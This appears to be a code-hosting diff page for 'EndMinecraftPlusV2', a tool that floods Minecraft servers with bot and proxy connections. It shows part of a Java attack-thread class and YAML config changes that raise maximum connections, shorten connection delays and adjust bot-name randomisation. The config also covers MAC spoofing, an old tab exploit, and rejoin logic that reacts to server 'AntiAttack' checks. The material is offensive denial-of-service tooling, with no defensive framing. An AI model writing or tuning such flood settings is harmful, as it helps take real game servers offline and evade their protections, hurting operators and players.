SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - DoubleAttack | 总连接数: " + totalTimes + "次 | 尝试分身: " + runTimes + "次");
|
||||||
}
|
}
|
||||||
|
@ -84,9 +84,11 @@ public class MotdAttack extends IAttack {
|
|||||||
|
|
||||||
new Thread(() -> {
|
new Thread(() -> {
|
||||||
OtherUtils.doSleep(ConfigUtil.ConnectTimeout);
|
OtherUtils.doSleep(ConfigUtil.ConnectTimeout);
|
||||||
|
|
||||||
if (task.isAlive()) {
|
if (task.isAlive()) {
|
||||||
task.stop();
|
task.stop();
|
||||||
}
|
}
|
||||||
|
|
||||||
threads.remove(task);
|
threads.remove(task);
|
||||||
}).start();
|
}).start();
|
||||||
}
|
}
|
||||||
|
@ -15,11 +15,11 @@ AttackSettings:
|
|||||||
# 4 - DoubleAttack - 影分身攻击(代理,仅原版单服可用)
|
# 4 - DoubleAttack - 影分身攻击(代理,仅原版单服可用)
|
||||||
Method: 1
|
Method: 1
|
||||||
Time: 3600
|
Time: 3600
|
||||||
ConnectDelay: 250
|
ConnectDelay: 15
|
||||||
ConnectTimeout: 8000
|
ConnectTimeout: 5000
|
||||||
# 实际连接数由代理质量和机器性能有关
|
# 实际连接数由代理质量和机器性能有关
|
||||||
# 进行无代理Motd压测时不建议大于32
|
# 进行无代理Motd压测时不建议大于32
|
||||||
MaxConnections: 2000
|
MaxConnections: 2500
|
||||||
# 旧版漏洞利用,大概率无效
|
# 旧版漏洞利用,大概率无效
|
||||||
TabAttack: true
|
TabAttack: true
|
||||||
AntiAttackMode: true
|
AntiAttackMode: true
|
||||||
@ -44,7 +44,7 @@ AdvancedSettings:
|
|||||||
LoadedMods: "mods"
|
LoadedMods: "mods"
|
||||||
# MAC|Check欺骗
|
# MAC|Check欺骗
|
||||||
MACChecker:
|
MACChecker:
|
||||||
RandomMAC: true
|
RandomMAC: false
|
||||||
|
|
||||||
BotSettings:
|
BotSettings:
|
||||||
# 可用占位符:
|
# 可用占位符:
|
||||||
@ -58,12 +58,12 @@ BotSettings:
|
|||||||
# 3 - ABC - 纯字母
|
# 3 - ABC - 纯字母
|
||||||
# 4 - 123 - 纯数字
|
# 4 - 123 - 纯数字
|
||||||
RandomFlag: 1
|
RandomFlag: 1
|
||||||
RandomMinLength: 4
|
RandomMinLength: 6
|
||||||
RandomMaxLength: 6
|
RandomMaxLength: 8
|
||||||
# 尝试发送随机传送数据包
|
# 尝试发送随机传送数据包
|
||||||
RandomTeleport: true
|
RandomTeleport: false
|
||||||
RejoinCount: 5
|
RejoinCount: 5
|
||||||
RejoinDelay: 2000
|
RejoinDelay: 3500
|
||||||
RejoinDetect:
|
RejoinDetect:
|
||||||
- "AntiAttack"
|
- "AntiAttack"
|
||||||
ClickVerifiesDetect:
|
ClickVerifiesDetect:
|
||||||
|
Loading…
Reference in New Issue
Block a user